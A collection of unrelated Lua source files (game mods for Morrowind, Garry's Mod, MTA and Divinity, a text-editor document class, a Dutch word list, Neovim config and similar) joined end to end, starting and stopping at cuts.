"BOTTOM"}}, xOffset = {order = 6, type = "range", name = L["xOffset"], desc = L["An X offset (in pixels) to be used when anchoring new frames."], min = -500, max = 500, step = 1}, yOffset = {order = 7, type = "range", name = L["yOffset"], desc = L["An Y offset (in pixels) to be used when anchoring new frames."], min = -500, max = 500, step = 1} } } } } }, } }, }
return {'hongaar','hongaars','hongaarse','hongaarstalig','hongarije','hongerwinter','hongkong','hongkonger','hongkongs','hond','hondenasiel','hondenbaan','hondenbeet','hondenbelasting','hondenbezitter','hondenbrokken','hondenbrood','hondenclub','hondendokter','hondendrol','hondenfluitje','hondenfokker','hondengeblaf','hondengeleider','hondengevecht','hondenhaar','hondenhok','hondenjong','hondenkar','hondenkennel','hondenkenner','hondenkeuring','hondenkop','hondenkot','hondenleven','hondenliefhebber','hondenlijn','hondenlul','hondenmand','hondenmepper','hondenneus','hondenoog','hondenpenning','hondenpistool','hondenpoep','hondenpoepbeleid','hondenpoepbestrijding','hondenras','hondenren','hondenriem','hondenslee','hondenstiel','hondententoonstelling','hondentoilet','hondentong','hondentrimmer','hondentrimster','hondentrouw','hondenuitlaatplaats','hondenvel','hondenvlees','hondenvoer','hondenwacht','hondenweer','hondenwerk','hondenziekte','hondenzweep','honderd','honderddelig','honderddertig','honderdduizend','honderdduizendste','honderdduizendtal','honderdjarig','honderdjarige','honderdje','honderdmaal','honderdman','honderdnegentig','honderdste','honderdtachtig','honderdtal','honderdtien','honderdtwintig','honderdtwintigduizend','honderduit','honderdveertig','honderdveertigduizend','honderdvijfentwintig','honderdvijftien','honderdvijftig','honderdvijftigduizend','honderdvoud','honderdvoudig','honderdzestig','honderdzeventig','honds','hondsberoerd','hondsbloem','hondsbrutaal','hondsdagen','hondsdol','hondsdolheid','hondsdraf','hondshaai','hondsheid','hondsmoe','hondsmoeilijk','hondspeterselie','hondsroos','hondstrouw','hondsvot','honen','honend','honger','hongerbaantje','hongerbuikje','hongerdood','hongeren','hongergevoel','hongerig','hongerigen','hongerkunstenaar','hongerkuur','hongerlap','hongerlappen','hongerlijder','hongerlijdster','hongerloon','hongeroedeem','hongeroproer','hongerprobleem','hongersnood','hongerstaken','hongerstaker','hongerstaking','hongerstiller','hongerwinter','honig','honigachtig','honigbij','honigdauw','honigdrank','honighei','honigraat','honigslinger','honigzeem','honigzoet','honing','honingachtig','honingbij','honingdauw','honingdrank','honinghei','honingheide','honingklaver','honingkleurig','honingkoek','honingpers','honingpot','honingraat','honingraatmotief','honingslinger','honingzeem','honingzoet','honingzuiger','honk','honkbal','honkbalcoach','honkbalknuppel','honkballen','honkballer','honkbalpet','honkbalploeg','honkbalseizoen','honkbalspel','honkbalstadion','honkbalteam','honkbalveld','honkbalwereld','honken','honkloopster','honkloper','honkman','honkslag','honkvast','honkvastheid','honnepon','honneponnig','honneurs','honnig','honorabel','honorair','honorarium','honoreren','honorering','honoreringsregeling','honoreringsstructuur','honoreringssysteem','hongerlijden','honingvogel','hongermaal','honingblond','honinggeel','honingkelk','honingkleur','hondenschool','hondenbeleid','hondensport','hondeneigenaar','hondenshow','hondenbed','hondenbrigade','hondenfokkerij','hondengedrag','hondenhandel','hondenhater','hondenhemel','hondenoverlast','hondenpik','hondenstront','hondentaal','hondentrainer','hondentraining','hondenuitlaatservice','hongerdieet','hongerdoek','hongerklop','hongertocht','honingkamer','honingraatstructuur','honingsaus','honingwijn','honingzwam','honkbalbond','honkbalwedstrijd','honkvrouw','hondenman','hondennaam','hondenraces','hondenpark','hondenforum','hondensoort','hondenverbod','hondentrimsalon','hondenbestaan','hondendek','hondendressuur','hondenmaaltijd','hondennest','hondsapen','hondsbossen','honderdvijfendertig','hondsrug','hondsster','honduras','hondurees','hongersteppe','honiara','hontenisse','honda','hondt','hong','honig','honkoop','honders','honcoop','honings','hondebrink','hondelink','hondema','honselaar','hondius','honsbeek','honhoff','honingh','hongaarstalige','hongaren','honden','hondenasielen','hondenbezitters','hondeneigenaren','hondengevechten','hondenjongen','hondenkarren','hondenkenners','hondenkoppen','hondenneuzen','hondenrassen','hondenstielen','hondententoonstellingen','hondentoiletten','hondentongen','hondenvellen','honderddelige','honderdduizenden','honderdduizendtallen','honderden','honderdjes','honderdmannen','honderdsten','honderdtallen','honderdvouden','honderdvoudige','hondje','hondjes','hondsbloemen','hondse','hondser','hondshaaien','hondsrozen','hondsvotten','honende','hongerde','hongerden','hongerend','hongerende','hongerige','hongeriger','hongerigst','hongerigste','hongerkunstenaars','hongerkuren','hongerlijders','hongerloontje','hongerloontjes','hongerslachtoffers','hongersnoden','hongerstakers','hongerstakingen','hongert','honigbijen','honigraten','honigzoete','honingachtige','honingbijen','honingraten','honingslingers','honingzoete','honingzuigers','honkballers','honkt','honkte','honkten','honnepons','honorabele','honorabeler','honoraire','honoraria','honorariums','honoreer','honoreerde','honoreerden','honoreert','honoreringen','hongkongers','hondenbanen','hondenbeten','hondendokters','hondendrollen','hondenfokkers','hondengeleiders','hondenliefhebbers','hondenogen','hondenpenningen','hondenrennen','hondentrimmers','hondenziekten','hondenziektes','honderdjarigen','hondsbrutale','hongeroproeren','hongerwinters','honigachtige','honigslingers','honingkleurige','honingkoeken','honingpersen','honingpotten','honingraatmotieven','honkbalde','honkbalknuppels','honkbalpetten','honklopers','honkslagen','honkvaste','honneponnetje','honneponnige','hongkongse','hondenhokken','hondstrouwe','honingvogels','honkbalstadions','hondsdolle','hondsberoerde','hondenfluitjes','hongerbaantjes','honinggele','hongergeleden','hondenlullen','hondenmanden','hondsmoee','hongerstillers','honingblonde','honingkelken','honkmannen','hongs','hondeneigenaars','hondenharen','hondenhaters','hondenscholen','hondenshows','hondenuitlaatplaatsen','hongerlonen','hondensoorten','hongertochten','hondennamen','hondentrainingen','honkbalwedstrijden','hondenclubs','honingkoekjes','honkbalvelden','hondenkennels','honingkamers','hondentrainers','hongerdoeken','hondenmandje','honkbalteams','hondenkopje','hondenfokkerijen','hondenbedden','hondentrimsalons','hondenmannen','hondenstronten','hondurese'}
require("bigJayB.PlaceSwap.mcm") local config = require("bigJayB.PlaceSwap.config") -- swap positions with npcs. local function swapPcs(ref) -- gets player current cell local current_cell = tes3.getPlayerCell() -- get copy of the player's position local player_pos = tes3.mobilePlayer.position:copy() -- get copy of the npc's position local npc_pos = ref.position:copy() -- swaps both using position cell tes3.positionCell( { reference = tes3.mobilePlayer, cell = current_cell, position = npc_pos, forceCellChange = false, suppressFader = true, teleportCompanions = false } ) tes3.positionCell( { reference = ref, cell = current_cell, position = player_pos, forceCellChange = false, suppressFader = true, teleportCompanions = false } ) return end -- moves the NPC using AIWander given a range. local function wander(ref, ran, dur) tes3.setAIWander( { reference = ref, idles = { 0, 0, 0, 0, 0, 0, 0, 0, 0 }, range = ran, duration = dur, reset = true } ) return end -- makes npcs move around and stop after 3 seconds. local function moveAway(ref) wander(ref, 100, 1) local wanderingTimer = timer.start( { duration = 3, callback = function () wander(ref, 0, 0) end } ) end -- returns true if ref is a passive npc, false otherwise. local function isRefValid(ref) if (ref ~= nil and ref.object.objectType == tes3.objectType.npc) then if not (ref.object.mobile.inCombat) then return true end end return false end -- checks if player is looking at an npc -- and executes the proper use cases. local function checkTarget(e) local target_ref = tes3.getPlayerTarget() if (e.isShiftDown and isRefValid(target_ref)) then swapPcs(target_ref) end if (e.isControlDown and isRefValid(target_ref)) then moveAway(target_ref) end return end local function init() event.register("keyDown", checkTarget, { filter = config.key.keyCode } ) mwse.log("[Jay's Place Swap & Move Away] Initialized!") return end event.register('initialized', init)
-- Item bags local bags = {} bags[0] = {english = 'Inventory', access = 'Everywhere'} bags[1] = {english = 'Safe', access = 'Mog House'} bags[2] = {english = 'Storage', access = 'Mog House'} bags[3] = {english = 'Temporary', access = 'Situational'} bags[4] = {english = 'Locker', access = 'Mog House'} bags[5] = {english = 'Satchel', access = 'Everywhere'} bags[6] = {english = 'Sack', access = 'Everywhere'} bags[7] = {english = 'Case', access = 'Everywhere'} return bags --[[ Copyright (c) 2013, Windower All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Windower nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL Windower BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ]]
-- made by Morten and CapsAdmin pac.webaudio = pac.webaudio or {} local webaudio = pac.webaudio webaudio.Streams = webaudio.Streams or {} webaudio.Streams.LastStreamId = 0 webaudio.Streams.Streams = {} function webaudio.Streams.CreateStream(url) --url = url:gsub("http[s?]://", "http://") if not url:find("http",1,true) then url = "asset://garrysmod/sound/" .. url end local stream = setmetatable({}, webaudio.Streams.STREAM) webaudio.Streams.LastStreamId = webaudio.Streams.LastStreamId + 1 stream:SetId(webaudio.Streams.LastStreamId) stream:SetUrl(url) webaudio.Streams.Streams[stream:GetId()] = stream webaudio.Browser.QueueJavascript(string.format("createStream(%q, %d)", stream:GetUrl(), stream:GetId())) return stream end function webaudio.Streams.GetStream(streamId) return webaudio.Streams.Streams[streamId] end function webaudio.Streams.StreamExists(streamId) return webaudio.Streams.Streams[streamId] ~= nil end function webaudio.Streams.Think() for streamId, stream in pairs(webaudio.Streams.Streams) do if stream:IsValid() then stream:Think() else stream:Stop() webaudio.Streams.Streams[streamId] = nil webaudio.Browser.QueueJavascript(string.format("destroyStream(%i)", stream:GetId())) setmetatable(stream, getmetatable(NULL)) end end end
--[[ Wrapper around a single network. ]] local Network, parent = torch.class('onmt.Network', 'nn.Container') function Network:__init(net) parent.__init(self) self.net = net self:add(net) end function Network:set(net) self.modules = { net } self.net = net end function Network:updateOutput(input) self.output = self.net:updateOutput(input) return self.output end function Network:updateGradInput(input, gradOutput) self.gradInput = self.net:updateGradInput(input, gradOutput) return self.gradInput end function Network:accGradParameters(input, gradOutput, scale) self.net:accGradParameters(input, gradOutput, scale) end
local oop = require("diffview.oop") local M = {} ---@class Event ---@class EEvent ---@field FILES_STAGED Event local Event = oop.enum({ "FILES_STAGED", }) ---@class EventEmitter ---@field listeners table<Event, function[]> local EventEmitter = oop.Object EventEmitter = oop.create_class("EventEmitter") ---EventEmitter constructor. ---@return EventEmitter function EventEmitter:init() self.listeners = {} end function EventEmitter:on(event, callback) if not self.listeners[event] then self.listeners[event] = {} end table.insert(self.listeners[event], function(args) callback(unpack(args)) end) end function EventEmitter:once(event, callback) if not self.listeners[event] then self.listeners[event] = {} end local emitted = false table.insert(self.listeners[event], function(args) if not emitted then emitted = true callback(unpack(args)) end end) end function EventEmitter:emit(event, ...) local args = { ... } if type(self.listeners[event]) == "table" then for _, cb in ipairs(self.listeners[event]) do cb(args) end end end M.Event = Event M.EventEmitter = EventEmitter return M
local Object = require "core.object" local Highlighter = require "core.doc.highlighter" local core = require "core" local syntax = require "core.syntax" local config = require "core.config" local common = require "core.common" local Doc = Object:extend() local function split_lines(text) local res = {} for line in (text .. "\n"):gmatch("(.-)\n") do table.insert(res, line) end return res end function Doc:new(filename, abs_filename, new_file) self.new_file = new_file self:reset() if filename then self:set_filename(filename, abs_filename) if not new_file then self:load(filename) end end end function Doc:reset() self.lines = { "\n" } self.selections = { 1, 1, 1, 1 } self.undo_stack = { idx = 1 } self.redo_stack = { idx = 1 } self.clean_change_id = 1 self.highlighter = Highlighter(self) self:reset_syntax() end function Doc:reset_syntax() local header = self:get_text(1, 1, self:position_offset(1, 1, 128)) local syn = syntax.get(self.filename or "", header) if self.syntax ~= syn then self.syntax = syn self.highlighter:soft_reset() end end function Doc:set_filename(filename, abs_filename) self.filename = filename self.abs_filename = abs_filename end function Doc:load(filename) local fp = assert( io.open(filename, "rb") ) self:reset() self.lines = {} local i = 1 for line in fp:lines() do if line:byte(-1) == 13 then line = line:sub(1, -2) self.crlf = true end table.insert(self.lines, line .. "\n") self.highlighter.lines[i] = false i = i + 1 end if #self.lines == 0 then table.insert(self.lines, "\n") end fp:close() self:reset_syntax() end function Doc:save(filename, abs_filename) if not filename then assert(self.filename, "no filename set to default to") filename = self.filename abs_filename = self.abs_filename else assert(self.filename or abs_filename, "calling save on unnamed doc without absolute path") end local fp = assert( io.open(filename, "wb") ) for _, line in ipairs(self.lines) do if self.crlf then line = line:gsub("\n", "\r\n") end fp:write(line) end fp:close() self:set_filename(filename, abs_filename) self.new_file = false self:reset_syntax() self:clean() end function Doc:get_name() return self.filename or "unsaved" end function Doc:is_dirty() if self.new_file then return #self.lines > 1 or #self.lines[1] > 1 else return self.clean_change_id ~= self:get_change_id() end end function Doc:clean() self.clean_change_id = self:get_change_id() end function Doc:get_indent_info() if not self.indent_info then return config.tab_type, config.indent_size, false end return self.indent_info.type or config.tab_type, self.indent_info.size or config.indent_size, self.indent_info.confirmed end function Doc:get_change_id() return self.undo_stack.idx end -- Cursor section. Cursor indices are *only* valid during a get_selections() call. -- Cursors will always be iterated in order from top to bottom. Through normal operation -- curors can never swap positions; only merge or split, or change their position in cursor -- order. function Doc:get_selection(sort) local idx, line1, col1, line2, col2 = self:get_selections(sort)({ self.selections, sort }, 0) return line1, col1, line2, col2, sort end function Doc:get_selection_text(limit) limit = limit or math.huge local result = {} for idx, line1, col1, line2, col2 in self:get_selections() do if idx > limit then break end if line1 ~= line2 or col1 ~= col2 then local text = self:get_text(line1, col1, line2, col2) if text ~= "" then result[#result + 1] = text end end end return table.concat(result, "\n") end function Doc:has_selection() local line1, col1, line2, col2 = self:get_selection(false) return line1 ~= line2 or col1 ~= col2 end function Doc:has_any_selection() for idx, line1, col1, line2, col2 in self:get_selections() do if line1 ~= line2 or col1 ~= col2 then return true end end return false end function Doc:sanitize_selection() for idx, line1, col1, line2, col2 in self:get_selections() do self:set_selections(idx, line1, col1, line2, col2) end end local function sort_positions(line1, col1, line2, col2) if line1 > line2 or line1 == line2 and col1 > col2 then return line2, col2, line1, col1 end return line1, col1, line2, col2 end function Doc:set_selections(idx, line1, col1, line2, col2, swap, rm) assert(not line2 == not col2, "expected 3 or 5 arguments") if swap then line1, col1, line2, col2 = line2, col2, line1, col1 end line1, col1 = self:sanitize_position(line1, col1) line2, col2 = self:sanitize_position(line2 or line1, col2 or col1) common.splice(self.selections, (idx - 1)*4 + 1, rm == nil and 4 or rm, { line1, col1, line2, col2 }) end function Doc:add_selection(line1, col1, line2, col2, swap) local l1, c1 = sort_positions(line1, col1, line2 or line1, col2 or col1) local target = #self.selections / 4 + 1 for idx, tl1, tc1 in self:get_selections(true) do if l1 < tl1 or l1 == tl1 and c1 < tc1 then target = idx break end end self:set_selections(target, line1, col1, line2, col2, swap, 0) end function Doc:set_selection(line1, col1, line2, col2, swap) self.selections = {} self:set_selections(1, line1, col1, line2, col2, swap) end function Doc:merge_cursors(idx) for i = (idx or (#self.selections - 3)), (idx or 5), -4 do for j = 1, i - 4, 4 do if self.selections[i] == self.selections[j] and self.selections[i+1] == self.selections[j+1] then common.splice(self.selections, i, 4) break end end end end local function selection_iterator(invariant, idx) local target = invariant[3] and (idx*4 - 7) or (idx*4 + 1) if target > #invariant[1] or target <= 0 or (type(invariant[3]) == "number" and invariant[3] ~= idx - 1) then return end if invariant[2] then return idx+(invariant[3] and -1 or 1), sort_positions(table.unpack(invariant[1], target, target+4)) else return idx+(invariant[3] and -1 or 1), table.unpack(invariant[1], target, target+4) end end -- If idx_reverse is true, it'll reverse iterate. If nil, or false, regular iterate. -- If a number, runs for exactly that iteration. function Doc:get_selections(sort_intra, idx_reverse) return selection_iterator, { self.selections, sort_intra, idx_reverse }, idx_reverse == true and ((#self.selections / 4) + 1) or ((idx_reverse or -1)+1) end -- End of cursor seciton. function Doc:sanitize_position(line, col) line = common.clamp(line, 1, #self.lines) col = common.clamp(col, 1, #self.lines[line]) return line, col end local function position_offset_func(self, line, col, fn, ...) line, col = self:sanitize_position(line, col) return fn(self, line, col, ...) end local function position_offset_byte(self, line, col, offset) line, col = self:sanitize_position(line, col) col = col + offset while line > 1 and col < 1 do line = line - 1 col = col + #self.lines[line] end while line < #self.lines and col > #self.lines[line] do col = col - #self.lines[line] line = line + 1 end return self:sanitize_position(line, col) end local function position_offset_linecol(self, line, col, lineoffset, coloffset) return self:sanitize_position(line + lineoffset, col + coloffset) end function Doc:position_offset(line, col, ...) if type(...) ~= "number" then return position_offset_func(self, line, col, ...) elseif select("#", ...) == 1 then return position_offset_byte(self, line, col, ...) elseif select("#", ...) == 2 then return position_offset_linecol(self, line, col, ...) else error("bad number of arguments") end end function Doc:get_text(line1, col1, line2, col2) line1, col1 = self:sanitize_position(line1, col1) line2, col2 = self:sanitize_position(line2, col2) line1, col1, line2, col2 = sort_positions(line1, col1, line2, col2) if line1 == line2 then return self.lines[line1]:sub(col1, col2 - 1) end local lines = { self.lines[line1]:sub(col1) } for i = line1 + 1, line2 - 1 do table.insert(lines, self.lines[i]) end table.insert(lines, self.lines[line2]:sub(1, col2 - 1)) return table.concat(lines) end function Doc:get_char(line, col) line, col = self:sanitize_position(line, col) return self.lines[line]:sub(col, col) end local function push_undo(undo_stack, time, type, ...) undo_stack[undo_stack.idx] = { type = type, time = time, ... } undo_stack[undo_stack.idx - config.max_undos] = nil undo_stack.idx = undo_stack.idx + 1 end local function pop_undo(self, undo_stack, redo_stack, modified) -- pop command local cmd = undo_stack[undo_stack.idx - 1] if not cmd then return end undo_stack.idx = undo_stack.idx - 1 -- handle command if cmd.type == "insert" then local line, col, text = table.unpack(cmd) self:raw_insert(line, col, text, redo_stack, cmd.time) elseif cmd.type == "remove" then local line1, col1, line2, col2 = table.unpack(cmd) self:raw_remove(line1, col1, line2, col2, redo_stack, cmd.time) elseif cmd.type == "selection" then self.selections = { table.unpack(cmd) } self:sanitize_selection() end modified = modified or (cmd.type ~= "selection") -- if next undo command is within the merge timeout then treat as a single -- command and continue to execute it local next = undo_stack[undo_stack.idx - 1] if next and math.abs(cmd.time - next.time) < config.undo_merge_timeout then return pop_undo(self, undo_stack, redo_stack, modified) end if modified then self:on_text_change("undo") end end function Doc:raw_insert(line, col, text, undo_stack, time) -- split text into lines and merge with line at insertion point local lines = split_lines(text) local len = #lines[#lines] local before = self.lines[line]:sub(1, col - 1) local after = self.lines[line]:sub(col) for i = 1, #lines - 1 do lines[i] = lines[i] .. "\n" end lines[1] = before .. lines[1] lines[#lines] = lines[#lines] .. after -- splice lines into line array common.splice(self.lines, line, 1, lines) -- keep cursors where they should be for idx, cline1, ccol1, cline2, ccol2 in self:get_selections(true, true) do if cline1 < line then break end local line_addition = (line < cline1 or col < ccol1) and #lines - 1 or 0 local column_addition = line == cline1 and ccol1 > col and len or 0 self:set_selections(idx, cline1 + line_addition, ccol1 + column_addition, cline2 + line_addition, ccol2 + column_addition) end -- push undo local line2, col2 = self:position_offset(line, col, #text) push_undo(undo_stack, time, "selection", table.unpack(self.selections)) push_undo(undo_stack, time, "remove", line, col, line2, col2) -- update highlighter and assure selection is in bounds self.highlighter:insert_notify(line, #lines - 1) self:sanitize_selection() end function Doc:raw_remove(line1, col1, line2, col2, undo_stack, time) -- push undo local text = self:get_text(line1, col1, line2, col2) push_undo(undo_stack, time, "selection", table.unpack(self.selections)) push_undo(undo_stack, time, "insert", line1, col1, text) -- get line content before/after removed text local before = self.lines[line1]:sub(1, col1 - 1) local after = self.lines[line2]:sub(col2) -- splice line into line array common.splice(self.lines, line1, line2 - line1 + 1, { before .. after }) -- move all cursors back if they share a line with the removed text for idx, cline1, ccol1, cline2, ccol2 in self:get_selections(true, true) do if cline1 < line2 then break end local line_removal = line2 - line1 local column_removal = line2 == cline2 and col2 < ccol1 and (line2 == line1 and col2 - col1 or col2) or 0 self:set_selections(idx, cline1 - line_removal, ccol1 - column_removal, cline2 - line_removal, ccol2 - column_removal) end -- update highlighter and assure selection is in bounds self.highlighter:remove_notify(line1, line2 - line1) self:sanitize_selection() end function Doc:insert(line, col, text) self.redo_stack = { idx = 1 } line, col = self:sanitize_position(line, col) self:raw_insert(line, col, text, self.undo_stack, system.get_time()) self:on_text_change("insert") end function Doc:remove(line1, col1, line2, col2) self.redo_stack = { idx = 1 } line1, col1 = self:sanitize_position(line1, col1) line2, col2 = self:sanitize_position(line2, col2) line1, col1, line2, col2 = sort_positions(line1, col1, line2, col2) self:raw_remove(line1, col1, line2, col2, self.undo_stack, system.get_time()) self:on_text_change("remove") end function Doc:undo() pop_undo(self, self.undo_stack, self.redo_stack, false) end function Doc:redo() pop_undo(self, self.redo_stack, self.undo_stack, false) end function Doc:text_input(text, idx) for sidx, line1, col1, line2, col2 in self:get_selections(true, idx or true) do if line1 ~= line2 or col1 ~= col2 then self:delete_to_cursor(sidx) end self:insert(line1, col1, text) self:move_to_cursor(sidx, #text) end end function Doc:replace_cursor(idx, line1, col1, line2, col2, fn) local old_text = self:get_text(line1, col1, line2, col2) local new_text, n = fn(old_text) if old_text ~= new_text then self:insert(line2, col2, new_text) self:remove(line1, col1, line2, col2) if line1 == line2 and col1 == col2 then line2, col2 = self:position_offset(line1, col1, #new_text) self:set_selections(idx, line1, col1, line2, col2) end end return n end function Doc:replace(fn) local has_selection, n = false, 0 for idx, line1, col1, line2, col2 in self:get_selections(true) do if line1 ~= line2 or col1 ~= col2 then n = n + self:replace_cursor(idx, line1, col1, line2, col2, fn) has_selection = true end end if not has_selection then self:set_selection(table.unpack(self.selections)) n = n + self:replace_cursor(1, 1, 1, #self.lines, #self.lines[#self.lines], fn) end return n end function Doc:delete_to_cursor(idx, ...) for sidx, line1, col1, line2, col2 in self:get_selections(true, idx) do if line1 ~= line2 or col1 ~= col2 then self:remove(line1, col1, line2, col2) else local l2, c2 = self:position_offset(line1, col1, ...) self:remove(line1, col1, l2, c2) line1, col1 = sort_positions(line1, col1, l2, c2) end self:set_selections(sidx, line1, col1) end self:merge_cursors(idx) end function Doc:delete_to(...) return self:delete_to_cursor(nil, ...) end function Doc:move_to_cursor(idx, ...) for sidx, line, col in self:get_selections(false, idx) do self:set_selections(sidx, self:position_offset(line, col, ...)) end self:merge_cursors(idx) end function Doc:move_to(...) return self:move_to_cursor(nil, ...) end function Doc:select_to_cursor(idx, ...) for sidx, line, col, line2, col2 in self:get_selections(false, idx) do line, col = self:position_offset(line, col, ...) self:set_selections(sidx, line, col, line2, col2) end self:merge_cursors(idx) end function Doc:select_to(...) return self:select_to_cursor(nil, ...) end function Doc:get_indent_string() local indent_type, indent_size = self:get_indent_info() if indent_type == "hard" then return "\t" end return string.rep(" ", indent_size) end -- returns the size of the original indent, and the indent -- in your config format, rounded either up or down function Doc:get_line_indent(line, rnd_up) local _, e = line:find("^[ \t]+") local indent_type, indent_size = self:get_indent_info() local soft_tab = string.rep(" ", indent_size) if indent_type == "hard" then local indent = e and line:sub(1, e):gsub(soft_tab, "\t") or "" return e, indent:gsub(" +", rnd_up and "\t" or "") else local indent = e and line:sub(1, e):gsub("\t", soft_tab) or "" local number = #indent / #soft_tab return e, indent:sub(1, (rnd_up and math.ceil(number) or math.floor(number))*#soft_tab) end end -- un/indents text; behaviour varies based on selection and un/indent. -- * if there's a selection, it will stay static around the -- text for both indenting and unindenting. -- * if you are in the beginning whitespace of a line, and are indenting, the -- cursor will insert the exactly appropriate amount of spaces, and jump the -- cursor to the beginning of first non whitespace characters -- * if you are not in the beginning whitespace of a line, and you indent, it -- inserts the appropriate whitespace, as if you typed them normally. -- * if you are unindenting, the cursor will jump to the start of the line, -- and remove the appropriate amount of spaces (or a tab). function Doc:indent_text(unindent, line1, col1, line2, col2) local text = self:get_indent_string() local _, se = self.lines[line1]:find("^[ \t]+") local in_beginning_whitespace = col1 == 1 or (se and col1 <= se + 1) local has_selection = line1 ~= line2 or col1 ~= col2 if unindent or has_selection or in_beginning_whitespace then local l1d, l2d = #self.lines[line1], #self.lines[line2] for line = line1, line2 do local e, rnded = self:get_line_indent(self.lines[line], unindent) self:remove(line, 1, line, (e or 0) + 1) self:insert(line, 1, unindent and rnded:sub(1, #rnded - #text) or rnded .. text) end l1d, l2d = #self.lines[line1] - l1d, #self.lines[line2] - l2d if (unindent or in_beginning_whitespace) and not has_selection then local start_cursor = (se and se + 1 or 1) + l1d or #(self.lines[line1]) return line1, start_cursor, line2, start_cursor end return line1, col1 + l1d, line2, col2 + l2d end self:insert(line1, col1, text) return line1, col1 + #text, line1, col1 + #text end -- For plugins to add custom actions of document change function Doc:on_text_change(type) end -- For plugins to get notified when a document is closed function Doc:on_close() core.log_quiet("Closed doc \"%s\"", self:get_name()) end return Doc
--[[ © 2020 TERRANOVA do not share, re-distribute or modify without permission of its author. --]] ITEM.name = "Approved Milk"; ITEM.model = "models/props_junk/garbage_milkcarton002a.mdl"; ITEM.width = 1; ITEM.height = 2; ITEM.description = "A large carton of well-sealed full-cream cow's milk."; ITEM.category = "Civil-Approved Drinks"; ITEM.permit = "consumables"; ITEM.flag = "f" ITEM.price = 16; ITEM.capacity = 1000 ITEM.restoreStamina = 12; ITEM.dropSound = { "terranova/ui/carton1.wav", "terranova/ui/carton2.wav", "terranova/ui/carton3.wav", }
local extMetatable = { __index = Ext, __newindex = function (t, k, v) if k == "GetHitChance" or k == "StatusGetEnterChance" then Ext.RegisterListener(k, v) Ext.PrintError("Setting Ext." .. k .. " is deprecated") else Ext.PrintError("Couldn't set Ext." .. k .. ": Please avoid extending the Ext table - it is dangerous and may break compatibility!") end end } local oldExt = Ext Ext = {} setmetatable(Ext, extMetatable) dofile = function () error("dofile() has been disabled for security reasons") end loadfile = function () error("loadfile() has been disabled for security reasons") end load = function () error("load() has been disabled for security reasons") end loadstring = function () error("loadstring() has been disabled for security reasons") end rawget = function () error("rawget() has been disabled for security reasons") end rawset = function () error("rawset() has been disabled for security reasons") end rawequal = function () error("rawequal() has been disabled for security reasons") end local oldDebug = debug debug = { traceback = oldDebug.traceback } oldDebug = nil -- math.random replaced by custom implementation math.random = Ext.Random -- math.randomseed not implemented math.randomseed = function () error("math.randomseed() not implemented") end
local Server = require('server') local Engine = require('../') local http_stack_layers http_stack_layers = function() return { Server.use('route')({ { 'GET /$', function(self, nxt) return self:render('public/index.html', self.req.context) end } }), Engine('/echo', { onconnection = function(conn) p('CONNECTED TO /echo', conn.id) conn:on('message', function(m) conn:send(m) end) conn:on('close', function() p('DISCONNECTED FROM /echo', conn.id) end) end }), Server.use('static')('/', 'public/', { }), } end local s1 = Server.run(http_stack_layers(), 3000, '0.0.0.0') print('Server listening at http://localhost:3000/')
require("cfg.lsp") require("cfg.signs") require("cfg.line") require("cfg.telescope")
function getResourceHandlingList ( resource ) resource = validateResourcePointer ( resource ) if not resource then if DEBUGMODE then error ( "Invalid resource at getResourceHandlingList!", 2 ) end return false end return list end function saveHandlingToResource ( vehicle, resource, model ) if not isValidVehicle ( vehicle ) then if DEBUGMODE then error ( "Invalid vehicle '"..tostring(vehicle).."' at saveHandlingToResource!", 2 ) end return false end resource = validateResourcePointer ( resource ) if not resource then if DEBUGMODE then error ( "Invalid resource at saveHandlingToResource!", 2 ) end return false end if not isValidVehicleModel ( model ) then if DEBUGMODE then error ( "Invalid model '"..tostring(model).."' at saveHandlingToResource!", 2 ) end return false end if clientside then local function trigger ( ) return triggerServerEvent ( "saveToResource", localPlayer, vehicle, resource, model ) end if xmlCache.resourcesaves[resource] and xmlCache.resourcesaves[resource][model] then guiCreateWarningMessage ( text.askToReplace, 2, {trigger} ) return true end trigger ( ) return true end if not fileExists ( ":"..resource.."/handling.lua" ) then local loader = fileCreate ( ":"..resource.."/handling.lua" ) local copyfile = fileOpen ( "utils/resource_handlingloader" ) local copybuffer = fileRead ( copyfile, fileGetSize ( copyfile ) ) fileWrite ( loader, copybuffer ) fileClose ( loader ) fileClose ( copyfile ) outputDebugString ( "Created new handling loader script for resource '"..resource.."'" ) end local resourceMeta = xmlLoadFile ( ":"..resource.."/meta.xml" ) local entryFound = false for _,node in ipairs ( xmlNodeGetChildren ( resourceMeta ) ) do if xmlNodeGetName ( node ) == "script" then if xmlNodeGetAttribute ( node, "src" ) == "handling.lua" then entryFound = true if xmlNodeGetAttribute ( node, "type" ) ~= "server" then xmlNodeSetAttribute ( node, "type", "server" ) end break end end end if not entryFound then local node = xmlCreateChild ( resourceMeta, "script" ) xmlNodeSetAttribute ( node, "src", "handling.lua" ) xmlNodeSetAttribute ( node, "type", "server" ) outputDebugString ( "Added meta.xml entry for the handling loader script in resource '"..resource.."'" ) end xmlSaveFile ( resourceMeta ) xmlUnloadFile ( resourceMeta ) local handlingXML = xmlLoadFile ( ":"..resource.."/handling.xml" ) if not handlingXML then handlingXML = xmlCreateFile ( ":"..resource.."/handling.xml", "root" ) outputDebugString ( "Created new handling file for resource '"..resource.."'" ) end local xmlEntry = xmlFindChild ( handlingXML, tostring ( model ), 0 ) if not xmlEntry then xmlEntry = xmlCreateChild ( handlingXML, tostring ( model 